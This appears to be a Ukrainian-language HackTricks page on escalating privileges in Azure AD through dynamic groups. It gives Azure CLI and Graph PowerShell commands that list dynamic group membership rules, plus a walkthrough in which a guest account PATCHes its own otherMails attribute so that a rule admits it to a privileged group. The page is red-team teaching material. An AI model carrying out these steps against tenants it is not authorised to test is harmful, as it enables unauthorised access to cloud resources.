Az - Динамічні групи Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Основна інформація

Динамічні групи — це групи, для яких налаштовано набір правил, і всі користувачі або пристрої, що відповідають правилам, додаються до групи. Кожного разу, коли атрибут користувача або пристрою змінюється, динамічні правила перевіряються повторно. І коли створюється нове правило, всі пристрої та користувачі перевіряються.

Динамічним групам можна призначати Azure RBAC roles, але неможливо додати AzureAD roles до динамічних груп.

Ця функція вимагає ліцензії Azure AD premium P1.

Privesc

Зверніть увагу, що за замовчуванням будь-який користувач може запрошувати гостей в Azure AD, тож якщо правило динамічної групи дає права користувачам на підставі атрибутів, які можна встановити у нового гостя, можливо створити гостя з цими атрибутами і escalate privileges. Гість також може керувати власним профілем і змінювати ці атрибути.

Get groups that allow Dynamic membership: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table

Перерахування динамічних груп

Отримати правила динамічної групи:

За допомогою Azure CLI:

az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table

За допомогою PowerShell та Microsoft Graph SDK:

Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule

Приклад

  • Приклад правила: (user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")
  • Опис правила: Будь-який гостьовий користувач з додатковою електронною поштою, яка містить рядок ‘security’, буде доданий до групи

Для електронної пошти гостьового користувача, прийміть запрошення та перевірте поточні налаштування цього користувача на https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
На жаль, сторінка не дозволяє змінювати значення атрибутів, тому потрібно використовувати API:

# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks